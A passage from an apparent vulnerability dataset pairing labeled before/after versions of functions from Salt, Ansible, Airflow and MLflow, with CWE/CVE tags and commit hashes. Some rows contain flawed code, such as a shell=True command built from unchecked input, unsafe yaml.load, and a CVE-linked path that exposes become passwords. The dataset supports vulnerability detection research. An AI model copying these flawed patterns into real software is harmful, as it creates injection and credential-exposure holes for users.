<p><label for=""id_age"">Age:</label> <input type=""text"" name=""age"" value=""65"" id=""id_age"" /></p>''' % (w_woodward.pk, w_bernstein.pk, bw.pk, w_royko.pk))"
,UNKNOWN,UNKNOWN,tests/consist.py,1,"def run(command):
    '''
    Execute a single command and check the returns
    '''
    cmd = r'salt \* {0} --yaml-out -t 500 > high'.format(command)
    subprocess.call(cmd, shell=True)
    data = yaml.load(open('high'))
    hashes = set()
    for key, val in data.items():
        has = hashlib.md5(str(val)).hexdigest()
        if has not in hashes:
            print('{0}:'.format(has))
            pprint.pprint(val)
        hashes.add(has)
    if len(hashes) > 1:
        print('{0}Command: {1} gave inconsistent returns{2}'.format(
            RED,
            command,
            ENDC,
            ))","CWE-20, CWE-78, CWE-327",saltstack/salt,dce57ea8b7fc5063d3ac580445cbce518a50ed83,"def run(command):
    '''
    Execute a single command and check the returns
    '''
    cmd = r'salt \* {0} --yaml-out -t 500 > high'.format(command)
    subprocess.call(cmd, shell=True)
    data = yaml.load(open('high'))
    hashes = set()
    for key, val in data.items():
        has = hashlib.md5(str(val)).hexdigest()
        if not has in hashes:
            print('{0}:'.format(has))
            pprint.pprint(val)
        hashes.add(has)
    if len(hashes) > 1:
        print('{0}Command: {1} gave inconsistent returns{2}'.format(
            RED,
            command,
            ENDC,
            ))"
,CVE-2018-16859,UNKNOWN,lib/ansible/executor/module_common.py,1,"def _find_module_utils(module_name, b_module_data, module_path, module_args, task_vars, templar, module_compression, async_timeout, become,
                       become_method, become_user, become_password, become_flags, environment):
    """"""
    Given the source of the module, convert it to a Jinja2 template to insert
    module code and return whether it's a new or old style module.
    """"""
    module_substyle = module_style = 'old'

    # module_style is something important to calling code (ActionBase).  It
    # determines how arguments are formatted (json vs k=v) and whether
    # a separate arguments file needs to be sent over the wire.
    # module_substyle is extra information that's useful internally.  It tells
    # us what we have to look to substitute in the module files and whether
    # we're using module replacer or ansiballz to format the module itself.
    if _is_binary(b_module_data):
        module_substyle = module_style = 'binary'
    elif REPLACER in b_module_data:
        # Do REPLACER before from ansible.module_utils because we need make sure
        # we substitute ""from ansible.module_utils basic"" for REPLACER
        module_style = 'new'
        module_substyle = 'python'
        b_module_data = b_module_data.replace(REPLACER, b'from ansible.module_utils.basic import *')
    elif b'from ansible.module_utils.' in b_module_data:
        module_style = 'new'
        module_substyle = 'python'
    elif REPLACER_WINDOWS in b_module_data:
        module_style = 'new'
        module_substyle = 'powershell'
        b_module_data = b_module_data.replace(REPLACER_WINDOWS, b'#Requires -Module Ansible.ModuleUtils.Legacy')
    elif re.search(b'#Requires -Module', b_module_data, re.IGNORECASE) \
            or re.search(b'#Requires -Version', b_module_data, re.IGNORECASE)\
            or re.search(b'#AnsibleRequires -OSVersion', b_module_data, re.IGNORECASE):
        module_style = 'new'
        module_substyle = 'powershell'
    elif REPLACER_JSONARGS in b_module_data:
        module_style = 'new'
        module_substyle = 'jsonargs'
    elif b'WANT_JSON' in b_module_data:
        module_substyle = module_style = 'non_native_want_json'

    shebang = None
    # Neither old-style, non_native_want_json nor binary modules should be modified
    # except for the shebang line (Done by modify_module)
    if module_style in ('old', 'non_native_want_json', 'binary'):
        return b_module_data, module_style, shebang

    output = BytesIO()
    py_module_names = set()

    if module_substyle == 'python':
        params = dict(ANSIBLE_MODULE_ARGS=module_args,)
        python_repred_params = repr(json.dumps(params))

        try:
            compression_method = getattr(zipfile, module_compression)
        except AttributeError:
            display.warning(u'Bad module compression string specified: %s.  Using ZIP_STORED (no compression)' % module_compression)
            compression_method = zipfile.ZIP_STORED

        lookup_path = os.path.join(C.DEFAULT_LOCAL_TMP, 'ansiballz_cache')
        cached_module_filename = os.path.join(lookup_path, ""%s-%s"" % (module_name, module_compression))

        zipdata = None
        # Optimization -- don't lock if the module has already been cached
        if os.path.exists(cached_module_filename):
            display.debug('ANSIBALLZ: using cached module: %s' % cached_module_filename)
            zipdata = open(cached_module_filename, 'rb').read()
        else:
            if module_name in action_write_locks.action_write_locks:
                display.debug('ANSIBALLZ: Using lock for %s' % module_name)
                lock = action_write_locks.action_write_locks[module_name]
            else:
                # If the action plugin directly invokes the module (instead of
                # going through a strategy) then we don't have a cross-process
                # Lock specifically for this module.  Use the ""unexpected
                # module"" lock instead
                display.debug('ANSIBALLZ: Using generic lock for %s' % module_name)
                lock = action_write_locks.action_write_locks[None]

            display.debug('ANSIBALLZ: Acquiring lock')
            with lock:
                display.debug('ANSIBALLZ: Lock acquired: %s' % id(lock))
                # Check that no other process has created this while we were
                # waiting for the lock
                if not os.path.exists(cached_module_filename):
                    display.debug('ANSIBALLZ: Creating module')
                    # Create the module zip data
                    zipoutput = BytesIO()
                    zf = zipfile.ZipFile(zipoutput, mode='w', compression=compression_method)
                    # Note: If we need to import from release.py first,
                    # remember to catch all exceptions: https://github.com/ansible/ansible/issues/16523
                    zf.writestr('ansible/__init__.py',
                                b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n__version__=""' +
                                to_bytes(__version__) + b'""\n__author__=""' +
                                to_bytes(__author__) + b'""\n')
                    zf.writestr('ansible/module_utils/__init__.py', b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n')

                    zf.writestr('ansible_module_%s.py' % module_name, b_module_data)

                    py_module_cache = {('__init__',): (b'', '[builtin]')}
                    recursive_finder(module_name, b_module_data, py_module_names, py_module_cache, zf)
                    zf.close()
                    zipdata = base64.b64encode(zipoutput.getvalue())

                    # Write the assembled module to a temp file (write to temp
                    # so that no one looking for the file reads a partially
                    # written file)
                    if not os.path.exists(lookup_path):
                        # Note -- if we have a global function to setup, that would
                        # be a better place to run this
                        os.makedirs(lookup_path)
                    display.debug('ANSIBALLZ: Writing module')
                    with open(cached_module_filename + '-part', 'wb') as f:
                        f.write(zipdata)

                    # Rename the file into its final position in the cache so
                    # future users of this module can read it off the
                    # filesystem instead of constructing from scratch.
                    display.debug('ANSIBALLZ: Renaming module')
                    os.rename(cached_module_filename + '-part', cached_module_filename)
                    display.debug('ANSIBALLZ: Done creating module')

            if zipdata is None:
                display.debug('ANSIBALLZ: Reading module after lock')
                # Another process wrote the file while we were waiting for
                # the write lock.  Go ahead and read the data from disk
                # instead of re-creating it.
                try:
                    zipdata = open(cached_module_filename, 'rb').read()
                except IOError:
                    raise AnsibleError('A different worker process failed to create module file. '
                                       'Look at traceback for that process for debugging information.')
        zipdata = to_text(zipdata, errors='surrogate_or_strict')

        shebang, interpreter = _get_shebang(u'/usr/bin/python', task_vars, templar)
        if shebang is None:
            shebang = u'#!/usr/bin/python'

        # Enclose the parts of the interpreter in quotes because we're
        # substituting it into the template as a Python string
        interpreter_parts = interpreter.split(u' ')
        interpreter = u""'{0}'"".format(u""', '"".join(interpreter_parts))

        now = datetime.datetime.utcnow()
        output.write(to_bytes(ACTIVE_ANSIBALLZ_TEMPLATE % dict(
            zipdata=zipdata,
            ansible_module=module_name,
            params=python_repred_params,
            shebang=shebang,
            interpreter=interpreter,
            coding=ENCODING_STRING,
            year=now.year,
            month=now.month,
            day=now.day,
            hour=now.hour,
            minute=now.minute,
            second=now.second,
        )))
        b_module_data = output.getvalue()

    elif module_substyle == 'powershell':
        # Powershell/winrm don't actually make use of shebang so we can
        # safely set this here.  If we let the fallback code handle this
        # it can fail in the presence of the UTF8 BOM commonly added by
        # Windows text editors
        shebang = u'#!powershell'

        exec_manifest = dict(
            module_entry=to_text(base64.b64encode(b_module_data)),
            powershell_modules=dict(),
            module_args=module_args,
            actions=['exec'],
            environment=environment
        )

        exec_manifest['exec'] = to_text(base64.b64encode(to_bytes(leaf_exec)))

        if async_timeout > 0:
            exec_manifest[""actions""].insert(0, 'async_watchdog')
            exec_manifest[""async_watchdog""] = to_text(base64.b64encode(to_bytes(async_watchdog)))
            exec_manifest[""actions""].insert(0, 'async_wrapper')
            exec_manifest[""async_wrapper""] = to_text(base64.b64encode(to_bytes(async_wrapper)))
            exec_manifest[""async_jid""] = str(random.randint(0, 999999999999))
            exec_manifest[""async_timeout_sec""] = async_timeout

        if become and become_method == 'runas':
            exec_manifest[""actions""].insert(0, 'become')
            exec_manifest[""become_user""] = become_user
            exec_manifest[""become_password""] = become_password
            exec_manifest['become_flags'] = become_flags
            exec_manifest[""become""] = to_text(base64.b64encode(to_bytes(become_wrapper)))

        lines = b_module_data.split(b'\n')
        module_names = set()
        become_required = False
        min_os_version = None
        min_ps_version = None

        requires_module_list = re.compile(to_bytes(r'(?i)^#\s*requires\s+\-module(?:s?)\s*(Ansible\.ModuleUtils\..+)'))
        requires_ps_version = re.compile(to_bytes(r'(?i)^#requires\s+\-version\s+([0-9]+(\.[0-9]+){0,3})$'))
        requires_os_version = re.compile(to_bytes(r'(?i)^#ansiblerequires\s+\-osversion\s+([0-9]+(\.[0-9]+){0,3})$'))
        requires_become = re.compile(to_bytes(r'(?i)^#ansiblerequires\s+\-become$'))

        for line in lines:
            module_util_line_match = requires_module_list.match(line)
            if module_util_line_match:
                module_names.add(module_util_line_match.group(1))

            requires_ps_version_match = requires_ps_version.match(line)
            if requires_ps_version_match:
                min_ps_version = to_text(requires_ps_version_match.group(1))
                # Powershell cannot cast a string of ""1"" to version, it must
                # have at least the major.minor for it to work so we append 0
                if requires_ps_version_match.group(2) is None:
                    min_ps_version = ""%s.0"" % min_ps_version

            requires_os_version_match = requires_os_version.match(line)
            if requires_os_version_match:
                min_os_version = to_text(requires_os_version_match.group(1))
                if requires_os_version_match.group(2) is None:
                    min_os_version = ""%s.0"" % min_os_version

            requires_become_match = requires_become.match(line)
            if requires_become_match:
                become_required = True

        for m in set(module_names):
            m = to_text(m).rstrip()  # tolerate windows line endings
            mu_path = ps_module_utils_loader.find_plugin(m, "".psm1"")
            if not mu_path:
                raise AnsibleError('Could not find imported module support code for \'%s\'.' % m)
            exec_manifest[""powershell_modules""][m] = to_text(
                base64.b64encode(
                    to_bytes(
                        _slurp(mu_path)
                    )
                )
            )

        exec_manifest['min_ps_version'] = min_ps_version
        exec_manifest['min_os_version'] = min_os_version
        if become_required and 'become' not in exec_manifest[""actions""]:
            exec_manifest[""actions""].insert(0, 'become')
            exec_manifest[""become_user""] = ""SYSTEM""
            exec_manifest[""become_password""] = None
            exec_manifest['become_flags'] = None
            exec_manifest[""become""] = to_text(base64.b64encode(to_bytes(become_wrapper)))

        # FUTURE: smuggle this back as a dict instead of serializing here; the connection plugin may need to modify it
        module_json = json.dumps(exec_manifest)

        # delimit the payload JSON from the wrapper to keep sensitive contents out of scriptblocks (which can be logged)
        b_module_data = to_bytes(exec_wrapper) + b'\0\0\0\0' + to_bytes(module_json)

    elif module_substyle == 'jsonargs':
        module_args_json = to_bytes(json.dumps(module_args))

        # these strings could be included in a third-party module but
        # officially they were included in the 'basic' snippet for new-style
        # python modules (which has been replaced with something else in
        # ansiballz) If we remove them from jsonargs-style module replacer
        # then we can remove them everywhere.
        python_repred_args = to_bytes(repr(module_args_json))
        b_module_data = b_module_data.replace(REPLACER_VERSION, to_bytes(repr(__version__)))
        b_module_data = b_module_data.replace(REPLACER_COMPLEX, python_repred_args)
        b_module_data = b_module_data.replace(REPLACER_SELINUX, to_bytes(','.join(C.DEFAULT_SELINUX_SPECIAL_FS)))

        # The main event -- substitute the JSON args string into the module
        b_module_data = b_module_data.replace(REPLACER_JSONARGS, module_args_json)

        facility = b'syslog.' + to_bytes(task_vars.get('ansible_syslog_facility', C.DEFAULT_SYSLOG_FACILITY), errors='surrogate_or_strict')
        b_module_data = b_module_data.replace(b'syslog.LOG_USER', facility)

    return (b_module_data, module_style, shebang)",CWE-330,ansible/ansible,4d748d34f9392aa469da00a85c8e2d5fe6cec52b,"def _find_module_utils(module_name, b_module_data, module_path, module_args, task_vars, templar, module_compression, async_timeout, become,
                       become_method, become_user, become_password, become_flags, environment):
    """"""
    Given the source of the module, convert it to a Jinja2 template to insert
    module code and return whether it's a new or old style module.
    """"""
    module_substyle = module_style = 'old'

    # module_style is something important to calling code (ActionBase).  It
    # determines how arguments are formatted (json vs k=v) and whether
    # a separate arguments file needs to be sent over the wire.
    # module_substyle is extra information that's useful internally.  It tells
    # us what we have to look to substitute in the module files and whether
    # we're using module replacer or ansiballz to format the module itself.
    if _is_binary(b_module_data):
        module_substyle = module_style = 'binary'
    elif REPLACER in b_module_data:
        # Do REPLACER before from ansible.module_utils because we need make sure
        # we substitute ""from ansible.module_utils basic"" for REPLACER
        module_style = 'new'
        module_substyle = 'python'
        b_module_data = b_module_data.replace(REPLACER, b'from ansible.module_utils.basic import *')
    elif b'from ansible.module_utils.' in b_module_data:
        module_style = 'new'
        module_substyle = 'python'
    elif REPLACER_WINDOWS in b_module_data:
        module_style = 'new'
        module_substyle = 'powershell'
        b_module_data = b_module_data.replace(REPLACER_WINDOWS, b'#Requires -Module Ansible.ModuleUtils.Legacy')
    elif re.search(b'#Requires -Module', b_module_data, re.IGNORECASE) \
            or re.search(b'#Requires -Version', b_module_data, re.IGNORECASE)\
            or re.search(b'#AnsibleRequires -OSVersion', b_module_data, re.IGNORECASE):
        module_style = 'new'
        module_substyle = 'powershell'
    elif REPLACER_JSONARGS in b_module_data:
        module_style = 'new'
        module_substyle = 'jsonargs'
    elif b'WANT_JSON' in b_module_data:
        module_substyle = module_style = 'non_native_want_json'

    shebang = None
    # Neither old-style, non_native_want_json nor binary modules should be modified
    # except for the shebang line (Done by modify_module)
    if module_style in ('old', 'non_native_want_json', 'binary'):
        return b_module_data, module_style, shebang

    output = BytesIO()
    py_module_names = set()

    if module_substyle == 'python':
        params = dict(ANSIBLE_MODULE_ARGS=module_args,)
        python_repred_params = repr(json.dumps(params))

        try:
            compression_method = getattr(zipfile, module_compression)
        except AttributeError:
            display.warning(u'Bad module compression string specified: %s.  Using ZIP_STORED (no compression)' % module_compression)
            compression_method = zipfile.ZIP_STORED

        lookup_path = os.path.join(C.DEFAULT_LOCAL_TMP, 'ansiballz_cache')
        cached_module_filename = os.path.join(lookup_path, ""%s-%s"" % (module_name, module_compression))

        zipdata = None
        # Optimization -- don't lock if the module has already been cached
        if os.path.exists(cached_module_filename):
            display.debug('ANSIBALLZ: using cached module: %s' % cached_module_filename)
            zipdata = open(cached_module_filename, 'rb').read()
        else:
            if module_name in action_write_locks.action_write_locks:
                display.debug('ANSIBALLZ: Using lock for %s' % module_name)
                lock = action_write_locks.action_write_locks[module_name]
            else:
                # If the action plugin directly invokes the module (instead of
                # going through a strategy) then we don't have a cross-process
                # Lock specifically for this module.  Use the ""unexpected
                # module"" lock instead
                display.debug('ANSIBALLZ: Using generic lock for %s' % module_name)
                lock = action_write_locks.action_write_locks[None]

            display.debug('ANSIBALLZ: Acquiring lock')
            with lock:
                display.debug('ANSIBALLZ: Lock acquired: %s' % id(lock))
                # Check that no other process has created this while we were
                # waiting for the lock
                if not os.path.exists(cached_module_filename):
                    display.debug('ANSIBALLZ: Creating module')
                    # Create the module zip data
                    zipoutput = BytesIO()
                    zf = zipfile.ZipFile(zipoutput, mode='w', compression=compression_method)
                    # Note: If we need to import from release.py first,
                    # remember to catch all exceptions: https://github.com/ansible/ansible/issues/16523
                    zf.writestr('ansible/__init__.py',
                                b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n__version__=""' +
                                to_bytes(__version__) + b'""\n__author__=""' +
                                to_bytes(__author__) + b'""\n')
                    zf.writestr('ansible/module_utils/__init__.py', b'from pkgutil import extend_path\n__path__=extend_path(__path__,__name__)\n')

                    zf.writestr('ansible_module_%s.py' % module_name, b_module_data)

                    py_module_cache = {('__init__',): (b'', '[builtin]')}
                    recursive_finder(module_name, b_module_data, py_module_names, py_module_cache, zf)
                    zf.close()
                    zipdata = base64.b64encode(zipoutput.getvalue())

                    # Write the assembled module to a temp file (write to temp
                    # so that no one looking for the file reads a partially
                    # written file)
                    if not os.path.exists(lookup_path):
                        # Note -- if we have a global function to setup, that would
                        # be a better place to run this
                        os.makedirs(lookup_path)
                    display.debug('ANSIBALLZ: Writing module')
                    with open(cached_module_filename + '-part', 'wb') as f:
                        f.write(zipdata)

                    # Rename the file into its final position in the cache so
                    # future users of this module can read it off the
                    # filesystem instead of constructing from scratch.
                    display.debug('ANSIBALLZ: Renaming module')
                    os.rename(cached_module_filename + '-part', cached_module_filename)
                    display.debug('ANSIBALLZ: Done creating module')

            if zipdata is None:
                display.debug('ANSIBALLZ: Reading module after lock')
                # Another process wrote the file while we were waiting for
                # the write lock.  Go ahead and read the data from disk
                # instead of re-creating it.
                try:
                    zipdata = open(cached_module_filename, 'rb').read()
                except IOError:
                    raise AnsibleError('A different worker process failed to create module file. '
                                       'Look at traceback for that process for debugging information.')
        zipdata = to_text(zipdata, errors='surrogate_or_strict')

        shebang, interpreter = _get_shebang(u'/usr/bin/python', task_vars, templar)
        if shebang is None:
            shebang = u'#!/usr/bin/python'

        # Enclose the parts of the interpreter in quotes because we're
        # substituting it into the template as a Python string
        interpreter_parts = interpreter.split(u' ')
        interpreter = u""'{0}'"".format(u""', '"".join(interpreter_parts))

        now = datetime.datetime.utcnow()
        output.write(to_bytes(ACTIVE_ANSIBALLZ_TEMPLATE % dict(
            zipdata=zipdata,
            ansible_module=module_name,
            params=python_repred_params,
            shebang=shebang,
            interpreter=interpreter,
            coding=ENCODING_STRING,
            year=now.year,
            month=now.month,
            day=now.day,
            hour=now.hour,
            minute=now.minute,
            second=now.second,
        )))
        b_module_data = output.getvalue()

    elif module_substyle == 'powershell':
        # Powershell/winrm don't actually make use of shebang so we can
        # safely set this here.  If we let the fallback code handle this
        # it can fail in the presence of the UTF8 BOM commonly added by
        # Windows text editors
        shebang = u'#!powershell'

        exec_manifest = dict(
            module_entry=to_text(base64.b64encode(b_module_data)),
            powershell_modules=dict(),
            module_args=module_args,
            actions=['exec'],
            environment=environment
        )

        exec_manifest['exec'] = to_text(base64.b64encode(to_bytes(leaf_exec)))

        if async_timeout > 0:
            exec_manifest[""actions""].insert(0, 'async_watchdog')
            exec_manifest[""async_watchdog""] = to_text(base64.b64encode(to_bytes(async_watchdog)))
            exec_manifest[""actions""].insert(0, 'async_wrapper')
            exec_manifest[""async_wrapper""] = to_text(base64.b64encode(to_bytes(async_wrapper)))
            exec_manifest[""async_jid""] = str(random.randint(0, 999999999999))
            exec_manifest[""async_timeout_sec""] = async_timeout

        if become and become_method == 'runas':
            exec_manifest[""actions""].insert(0, 'become')
            exec_manifest[""become_user""] = become_user
            exec_manifest[""become_password""] = become_password
            exec_manifest['become_flags'] = become_flags
            exec_manifest[""become""] = to_text(base64.b64encode(to_bytes(become_wrapper)))

        lines = b_module_data.split(b'\n')
        module_names = set()
        become_required = False
        min_os_version = None
        min_ps_version = None

        requires_module_list = re.compile(to_bytes(r'(?i)^#\s*requires\s+\-module(?:s?)\s*(Ansible\.ModuleUtils\..+)'))
        requires_ps_version = re.compile(to_bytes(r'(?i)^#requires\s+\-version\s+([0-9]+(\.[0-9]+){0,3})$'))
        requires_os_version = re.compile(to_bytes(r'(?i)^#ansiblerequires\s+\-osversion\s+([0-9]+(\.[0-9]+){0,3})$'))
        requires_become = re.compile(to_bytes(r'(?i)^#ansiblerequires\s+\-become$'))

        for line in lines:
            module_util_line_match = requires_module_list.match(line)
            if module_util_line_match:
                module_names.add(module_util_line_match.group(1))

            requires_ps_version_match = requires_ps_version.match(line)
            if requires_ps_version_match:
                min_ps_version = to_text(requires_ps_version_match.group(1))
                # Powershell cannot cast a string of ""1"" to version, it must
                # have at least the major.minor for it to work so we append 0
                if requires_ps_version_match.group(2) is None:
                    min_ps_version = ""%s.0"" % min_ps_version

            requires_os_version_match = requires_os_version.match(line)
            if requires_os_version_match:
                min_os_version = to_text(requires_os_version_match.group(1))
                if requires_os_version_match.group(2) is None:
                    min_os_version = ""%s.0"" % min_os_version

            requires_become_match = requires_become.match(line)
            if requires_become_match:
                become_required = True

        for m in set(module_names):
            m = to_text(m).rstrip()  # tolerate windows line endings
            mu_path = ps_module_utils_loader.find_plugin(m, "".psm1"")
            if not mu_path:
                raise AnsibleError('Could not find imported module support code for \'%s\'.' % m)
            exec_manifest[""powershell_modules""][m] = to_text(
                base64.b64encode(
                    to_bytes(
                        _slurp(mu_path)
                    )
                )
            )

        exec_manifest['min_ps_version'] = min_ps_version
        exec_manifest['min_os_version'] = min_os_version
        if become_required and 'become' not in exec_manifest[""actions""]:
            exec_manifest[""actions""].insert(0, 'become')
            exec_manifest[""become_user""] = ""SYSTEM""
            exec_manifest[""become_password""] = None
            exec_manifest['become_flags'] = None
            exec_manifest[""become""] = to_text(base64.b64encode(to_bytes(become_wrapper)))

        # FUTURE: smuggle this back as a dict instead of serializing here; the connection plugin may need to modify it
        module_json = json.dumps(exec_manifest)

        b_module_data = exec_wrapper.replace(b""$json_raw = ''"", b""$json_raw = @'\r\n%s\r\n'@"" % to_bytes(module_json))

    elif module_substyle == 'jsonargs':
        module_args_json = to_bytes(json.dumps(module_args))

        # these strings could be included in a third-party module but
        # officially they were included in the 'basic' snippet for new-style
        # python modules (which has been replaced with something else in
        # ansiballz) If we remove them from jsonargs-style module replacer
        # then we can remove them everywhere.
        python_repred_args = to_bytes(repr(module_args_json))
        b_module_data = b_module_data.replace(REPLACER_VERSION, to_bytes(repr(__version__)))
        b_module_data = b_module_data.replace(REPLACER_COMPLEX, python_repred_args)
        b_module_data = b_module_data.replace(REPLACER_SELINUX, to_bytes(','.join(C.DEFAULT_SELINUX_SPECIAL_FS)))

        # The main event -- substitute the JSON args string into the module
        b_module_data = b_module_data.replace(REPLACER_JSONARGS, module_args_json)

        facility = b'syslog.' + to_bytes(task_vars.get('ansible_syslog_facility', C.DEFAULT_SYSLOG_FACILITY), errors='surrogate_or_strict')
        b_module_data = b_module_data.replace(b'syslog.LOG_USER', facility)

    return (b_module_data, module_style, shebang)"
,UNKNOWN,UNKNOWN,tests/charts/test_scheduler.py,1,"def test_should_add_component_specific_annotations(self):
        docs = render_chart(
            values={
                ""scheduler"": {
                    ""annotations"": {""test_annotation"": ""test_annotation_value""},
                },
            },
            show_only=[""templates/scheduler/scheduler-deployment.yaml""],
        )
        assert ""annotations"" in jmespath.search(""metadata"", docs[0])
        assert jmespath.search(""metadata.annotations"", docs[0])[""test_annotation""] == ""test_annotation_value""",CWE-703,apache/airflow,f07d300c4c78fa1b2becb4653db8d25b011ea273,"def test_should_add_component_specific_annotations(self):
        docs = render_chart(
            values={
                ""scheduler"": {
                    ""annotations"": {""test_annotation"": ""test_annotation_value""},
                },
            },
            show_only=[""templates/scheduler/scheduler-deployment.yaml""],
        )
        assert ""annotations"" in jmespath.search(""metadata"", docs[0])
        assert jmespath.search(""metadata.annotations"", docs[0])[""test_annotation""] == ""test_annotation_value"""
,UNKNOWN,UNKNOWN,kubernetes_tests/test_kubernetes_pod_operator.py,1,"def test_config_path_move(self):
        new_config_path = '/tmp/kube_config'
        old_config_path = get_kubeconfig_path()
        shutil.copy(old_config_path, new_config_path)

        k = KubernetesPodOperator(
            namespace='default',
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels={""foo"": ""bar""},
            name=""test1"",
            task_id=""task"" + self.get_current_task_name(),
            in_cluster=False,
            do_xcom_push=False,
            is_delete_operator_pod=False,
            config_file=new_config_path,
        )
        context = create_context(k)
        k.execute(context)
        expected_pod = copy(self.expected_pod)
        actual_pod = self.api_client.sanitize_for_serialization(k.pod)
        assert actual_pod == expected_pod",CWE-703,apache/airflow,6bbe015905bd2709e621455d9f71a78b374d1337,"def test_config_path_move(self):
        new_config_path = '/tmp/kube_config'
        old_config_path = get_kubeconfig_path()
        shutil.copy(old_config_path, new_config_path)

        k = KubernetesPodOperator(
            namespace='default',
            image=""ubuntu:16.04"",
            cmds=[""bash"", ""-cx""],
            arguments=[""echo 10""],
            labels={""foo"": ""bar""},
            name=""test1"",
            task_id=""task"" + self.get_current_task_name(),
            in_cluster=False,
            do_xcom_push=False,
            is_delete_operator_pod=False,
            config_file=new_config_path,
        )
        context = create_context(k)
        k.execute(context)
        expected_pod = copy(self.expected_pod)
        expected_pod['metadata']['labels']['already_checked'] = 'True'
        actual_pod = self.api_client.sanitize_for_serialization(k.pod)
        assert expected_pod == actual_pod"
,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/task_runner.py,1,"def get_ti_count(
        dag_id: str,
        task_ids: list[str] | None = None,
        task_group_id: str | None = None,
        logical_dates: list[datetime] | None = None,
        run_ids: list[str] | None = None,
        states: list[str] | None = None,
    ) -> int:
        """"""Return the number of task instances matching the given criteria.""""""
        log = structlog.get_logger(logger_name=""task"")

        with SUPERVISOR_COMMS.lock:
            SUPERVISOR_COMMS.send_request(
                log=log,
                msg=GetTICount(
                    dag_id=dag_id,
                    task_ids=task_ids,
                    task_group_id=task_group_id,
                    logical_dates=logical_dates,
                    run_ids=run_ids,
                    states=states,
                ),
            )
            response = SUPERVISOR_COMMS.get_message()

        if TYPE_CHECKING:
            assert isinstance(response, TICount)

        return response.count",CWE-703,apache/airflow,636224df611109e1cb008e83b094899ea2d36322,"def get_ti_count(
        dag_id: str,
        task_ids: list[str] | None = None,
        task_group_id: str | None = None,
        logical_dates: list[datetime] | None = None,
        run_ids: list[str] | None = None,
        states: list[str] | None = None,
    ) -> int:
        """"""Return the number of task instances matching the given criteria.""""""
        log = structlog.get_logger(logger_name=""task"")

        SUPERVISOR_COMMS.send_request(
            log=log,
            msg=GetTICount(
                dag_id=dag_id,
                task_ids=task_ids,
                task_group_id=task_group_id,
                logical_dates=logical_dates,
                run_ids=run_ids,
                states=states,
            ),
        )
        response = SUPERVISOR_COMMS.get_message()

        if TYPE_CHECKING:
            assert isinstance(response, TICount)

        return response.count"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/packaging/os/apt_rpm.py,0,"def update_package_db(module):
    rc, out, err = module.run_command(""%s update"" % APT_PATH)

    if rc != 0:
        module.fail_json(msg=""could not update package db: %s"" % err)",,ansible/ansible,95789f3949b01c79c729315ff375d0e759f64970,"def update_package_db(module):
    rc, out, err = module.run_command(""%s update"" % APT_PATH)

    if rc != 0:
        module.fail_json(msg=""could not update package db: %s"" % err)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tasks/docs.py,0,"def check_virtual(ctx, files):
    """"""
    Check if .rst files for each module contains the text "".. _virtual""
    indicating it is a virtual doc page, and, in case a module exists by
    the same name, it's going to be shaddowed and not accessible
    """"""
    exitcode = 0
    files = build_docs_paths(files)
    for path in files:
        if path.name == ""index.rst"":
            continue
        contents = path.read_text()
        if "".. _virtual-"" in contents:
            try:
                python_module = doc_path_to_python_module[path]
                utils.error(
                    ""The doc file at {} indicates that it's virtual, yet, there's a""
                    "" python module at {} that will shaddow it."",
                    path,
                    python_module,
                )
                exitcode += 1
            except KeyError:
                # This is what we're expecting
                continue
    return exitcode",,saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def check_virtual(ctx, files):
    """"""
    Check if .rst files for each module contains the text "".. _virtual""
    indicating it is a virtual doc page, and, in case a module exists by
    the same name, it's going to be shaddowed and not accessible
    """"""
    exitcode = 0
    files = build_docs_paths(files)
    for path in files:
        if path.name == ""index.rst"":
            continue
        contents = path.read_text()
        if "".. _virtual-"" in contents:
            try:
                python_module = doc_path_to_python_module[path]
                utils.error(
                    ""The doc file at {} indicates that it's virtual, yet, there's a python module ""
                    ""at {} that will shaddow it."",
                    path,
                    python_module,
                )
                exitcode += 1
            except KeyError:
                # This is what we're expecting
                continue
    return exitcode"
,UNKNOWN,UNKNOWN,tests/tensorflow/test_tensorflow2_autolog.py,1,"def test_tf_keras_autolog_logs_expected_data(tf_keras_random_data_run):
    run, history = tf_keras_random_data_run
    data = run.data
    assert ""accuracy"" in data.metrics
    assert ""loss"" in data.metrics
    # Testing explicitly passed parameters are logged correctly
    assert ""epochs"" in data.params
    assert data.params[""epochs""] == str(history.epoch[-1] + 1)
    assert ""steps_per_epoch"" in data.params
    assert data.params[""steps_per_epoch""] == ""1""
    # Testing default parameters are logged correctly
    assert ""initial_epoch"" in data.params
    assert data.params[""initial_epoch""] == str(history.epoch[0])
    # Testing unwanted parameters are not logged
    assert ""callbacks"" not in data.params
    assert ""validation_data"" not in data.params
    # Testing optimizer parameters are logged
    assert ""opt_name"" in data.params
    assert data.params[""opt_name""] == ""Adam""
    assert ""opt_learning_rate"" in data.params
    decay_opt = ""opt_weight_decay"" if Version(tf.__version__) > Version(""2.10"") else ""opt_decay""
    assert decay_opt in data.params
    assert ""opt_beta_1"" in data.params
    assert ""opt_beta_2"" in data.params
    assert ""opt_epsilon"" in data.params
    assert ""opt_amsgrad"" in data.params
    assert data.params[""opt_amsgrad""] == ""False""
    client = MlflowClient()
    all_epoch_acc = client.get_metric_history(run.info.run_id, ""accuracy"")
    num_of_epochs = len(history.history[""loss""])
    assert len(all_epoch_acc) == num_of_epochs == 10
    artifacts = client.list_artifacts(run.info.run_id)
    artifacts = map(lambda x: x.path, artifacts)
    assert ""model_summary.txt"" in artifacts",CWE-703,mlflow/mlflow,df327134d1278f98b6142ddaef77295a146aba18,"def test_tf_keras_autolog_logs_expected_data(tf_keras_random_data_run):
    run, history = tf_keras_random_data_run
    data = run.data
    assert ""accuracy"" in data.metrics
    assert ""loss"" in data.metrics
    # Testing explicitly passed parameters are logged correctly
    assert ""epochs"" in data.params
    assert data.params[""epochs""] == str(history.epoch[-1] + 1)
    assert ""steps_per_epoch"" in data.params
    assert data.params[""steps_per_epoch""] == ""1""
    # Testing default parameters are logged correctly
    assert ""initial_epoch"" in data.params
    assert data.params[""initial_epoch""] == str(history.epoch[0])
    # Testing unwanted parameters are not logged
    assert ""callbacks"" not in data.params
    assert ""validation_data"" not in data.params
    # Testing optimizer parameters are logged
